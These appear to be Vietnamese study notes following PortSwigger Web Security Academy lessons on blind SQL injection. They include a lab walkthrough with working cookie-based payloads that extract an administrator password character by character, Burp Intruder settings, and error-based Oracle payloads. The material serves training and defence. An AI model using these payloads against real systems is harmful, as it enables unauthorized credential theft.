## 10. Blind SQL injection là gì?
Blind SQL injection xảy ra khi một ứng dụng dễ bị tấn công bởi SQL injection, nhưng phản hồi HTTP của nó lại không chứa kết quả của truy vấn SQL có liên quan hoặc thông tin chi tiết về bất kỳ lỗi cơ sở dữ liệu nào.
Nhiều kỹ thuật như tấn công UNION không hiệu quả với lỗ hổng blind SQL injection. Điều này là do chúng dựa vào khả năng xem kết quả của truy vấn được tiêm trong phản hồi của ứng dụng. Vẫn có thể khai thác blind SQL injection để truy cập dữ liệu trái phép, nhưng phải sử dụng các kỹ thuật khác nhau.
## 11. Khai thác Blind SQL injection bằng cách kích hoạt phản hồi có điều kiện
Hãy xem xét một ứng dụng sử dụng cookie theo dõi để thu thập phân tích về việc sử dụng. Yêu cầu đối với ứng dụng bao gồm tiêu đề cookie như sau:
```
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4
```
Khi yêu cầu chứa cookie TrackingId được xử lý, ứng dụng sẽ sử dụng truy vấn SQL để xác định xem đây có phải là người dùng đã được nhận biết hay không:
```
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'
```
Truy vấn này dễ bị SQL injection, nhưng kết quả từ truy vấn không được trả về cho người dùng. Tuy nhiên, ứng dụng sẽ hoạt động khác nhau tùy thuộc vào việc truy vấn có trả về dữ liệu nào không. Nếu bạn gửi một truy vấn TrackingId được công nhận, truy vấn sẽ trả về dữ liệu và bạn nhận được thông báo "Welcome back" trong phản hồi.
Hành vi này đủ để có thể khai thác lỗ hổng blind SQL injection. Bạn có thể lấy thông tin bằng cách kích hoạt các phản hồi khác nhau có điều kiện, tùy thuộc vào điều kiện được tiêm.
Để hiểu cách khai thác này hoạt động, hãy giả sử có hai yêu cầu được gửi lần lượt chứa các giá trị của cookie TrackingId sau:
```
…xyz' AND '1'='1
…xyz' AND '1'='2
```
- Giá trị đầu tiên trong số các giá trị này khiến truy vấn trả về kết quả, vì điều kiện `AND '1'='1` được đưa vào là đúng. Kết quả là, thông báo "Welcome back" được hiển thị.
- Giá trị thứ hai khiến truy vấn không trả về bất kỳ kết quả nào vì điều kiện được đưa vào là sai. Thông báo "Welcome back" không được hiển thị.
Điều này cho phép chúng ta xác định câu trả lời cho bất kỳ điều kiện nào được đưa vào và trích xuất dữ liệu từng phần một.
Ví dụ, giả sử có một bảng được gọi Users với các cột Username và Password, và một người dùng được gọi là Administrator. Bạn có thể xác định mật khẩu cho người dùng này bằng cách gửi một loạt các đầu vào để kiểm tra mật khẩu từng ký tự một.
Để thực hiện việc này, hãy bắt đầu bằng thông tin sau:
```
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm
```
Lệnh này trả về thông báo "Welcome back", cho biết điều kiện được đưa vào là đúng và do đó ký tự đầu tiên của mật khẩu lớn hơn m.
Tiếp theo, chúng ta gửi thông tin đầu vào sau:
```
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't
```
Điều này không trả về thông báo "Welcome back", cho biết điều kiện được đưa vào là sai và do đó ký tự đầu tiên của mật khẩu không lớn hơn t.
Cuối cùng, chúng tôi gửi dữ liệu đầu vào sau, trả về thông báo "Welcome back", qua đó xác nhận ký tự đầu tiên của mật khẩu là s:
```
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's
```
Chúng ta có thể tiếp tục quá trình này để xác định một cách có hệ thống toàn bộ mật khẩu cho người dùng Administrator.
Note:
Hàm SUBSTRING còn được gọi là SUBSTR trên một số loại cơ sở dữ liệu. Để biết thêm chi tiết, hãy xem bảng hướng dẫn về SQL injection.
## Lab: Blind SQL injection với phản hồi có điều kiện
https://portswigger.net/web-security/learning-paths/sql-injection/sql-injection-exploiting-blind-sql-injection-by-triggering-conditional-responses/sql-injection/blind/lab-conditional-responses
Bài lab này chứa lỗ hổng Blind SQL injection. Ứng dụng sử dụng cookie theo dõi để phân tích và thực hiện truy vấn SQL có chứa giá trị của cookie đã gửi.
Kết quả của truy vấn SQL không được trả về và không có thông báo lỗi nào được hiển thị. Nhưng ứng dụng sẽ bao gồm một thông báo Welcome back trong trang nếu truy vấn trả về bất kỳ hàng nào.
Cơ sở dữ liệu chứa một bảng khác có tên là users, với các cột có tên là username và password. Cần khai thác lỗ hổng SQL injection để tìm ra mật khẩu của người dùng administrator.
Để giải bài tập, hãy đăng nhập với tư cách người dùng administrator.
Tìm thấy 1 cookie có tên là TrackingId
Tấn công vào cookie: `' AND '1'='1`

Tìm kí tự đầu tiên: `' AND SUBSTR((SELECT password FROM users WHERE username = 'administrator'), 1, 1) > '0`

Sử dụng Intruder để chạy payload.
Thêm tải trọng:
`' AND SUBSTR((SELECT password FROM users WHERE username = 'administrator'), 1, 1) > '§0§`
Payloads -> Payload configuration: Nhập các giá trị chữ và số
Settings -> Grep - Match: Nhập Welcome


Kí tự đầu tiên là: x
Tìm kí tự thứ 2: `' AND SUBSTR((SELECT password FROM users WHERE username = 'administrator'), 2, 1) > '0`
Tìm đến kí tự thứ 21 thì không có kết quả cho Welcome
=> password có 20 kí tự
password: xi09m2xrioajkn9nofr2
Note:
- `TrackingId=xyz' AND '1'='2`: Điều kiện sai, không hiện thông báo Welcome back
- `TrackingId=xyz' AND (SELECT 'a' FROM users LIMIT 1)='a`: Xác nhận rằng điều kiện là đúng, có một bảng có tên là users.
- `TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator')='a`: Xác nhận rằng điều kiện là đúng, có một người dùng được gọi là administrator.
- `TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a`: Tìm độ dài của mật khẩu
- `TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a`: Tìm kí tự đầu tiên
## 12. Error-based SQL injection
Error-based SQL injection đề cập đến các trường hợp mà bạn có thể sử dụng thông báo lỗi để trích xuất hoặc suy ra dữ liệu nhạy cảm từ cơ sở dữ liệu, ngay cả trong bối cảnh blind. Các khả năng phụ thuộc vào cấu hình của cơ sở dữ liệu và các loại lỗi bạn có thể kích hoạt:
- Có thể khiến ứng dụng trả về phản hồi lỗi cụ thể dựa trên kết quả của biểu thức boolean. Bạn có thể khai thác điều này theo cùng cách như các phản hồi có điều kiện mà chúng ta đã xem ở phần trước. Để biết thêm thông tin, hãy xem Khai thác lỗi Blind SQL injection bằng cách kích hoạt lỗi có điều kiện.
- Có thể kích hoạt các thông báo lỗi xuất dữ liệu được truy vấn trả về. Điều này có hiệu quả biến các lỗ hổng SQL injection ẩn thành các lỗ hổng có thể nhìn thấy. Để biết thêm thông tin, hãy xem Extracting sensitive data via verbose SQL error messages (Trích xuất dữ liệu nhạy cảm thông qua các thông báo lỗi SQL chi tiết).
## 13. Khai thác blind SQL injection bằng cách kích hoạt lỗi có điều kiện
Một số ứng dụng thực hiện truy vấn SQL nhưng hành vi của chúng không thay đổi, bất kể truy vấn có trả về dữ liệu nào không. Kỹ thuật trong phần trước sẽ không hiệu quả, vì việc đưa vào các điều kiện boolean khác nhau không tạo ra sự khác biệt nào đối với phản hồi của ứng dụng.
Thường có thể khiến ứng dụng trả về một phản hồi khác tùy thuộc vào việc có xảy ra lỗi SQL hay không. Bạn có thể sửa đổi truy vấn để nó chỉ gây ra lỗi cơ sở dữ liệu nếu điều kiện là đúng. Rất thường xuyên, một lỗi chưa được xử lý do cơ sở dữ liệu đưa ra gây ra một số khác biệt trong phản hồi của ứng dụng, chẳng hạn như thông báo lỗi. Điều này cho phép bạn suy ra sự thật của điều kiện được đưa vào.
Để xem cách thức hoạt động này, hãy giả sử có hai yêu cầu được gửi lần lượt chứa các giá trị của cookie TrackingId sau:
```
xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a
```
Các đầu vào này sử dụng từ khóa CASE để kiểm tra một điều kiện và trả về một biểu thức khác nhau tùy thuộc vào việc biểu thức đó có đúng hay không:
- Với đầu vào đầu tiên, biểu thức CASE được đánh giá là 'a', không gây ra bất kỳ lỗi nào.
- Với đầu vào thứ hai, nó sẽ đánh giá thành 1/0, gây ra lỗi chia cho 0.
Nếu lỗi gây ra sự khác biệt trong phản hồi HTTP của ứng dụng, bạn có thể sử dụng điều này để xác định xem điều kiện được đưa vào có đúng không.
Sử dụng kỹ thuật này, bạn có thể lấy dữ liệu bằng cách kiểm tra từng ký tự một:
```
xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a
```
Note: Có nhiều cách khác nhau để kích hoạt lỗi có điều kiện và các kỹ thuật khác nhau hoạt động tốt nhất trên các loại cơ sở dữ liệu khác nhau. Để biết thêm chi tiết, hãy xem bảng hướng dẫn về SQL injection.
' AND (SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE 'a' END FROM dual)='a

' AND (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE 'a' END FROM dual)='a

https://portswigger.net/web-security/learning-paths/sql-injection/sql-injection-error-based-sql-injection/sql-injection/blind/lab-conditional-errors#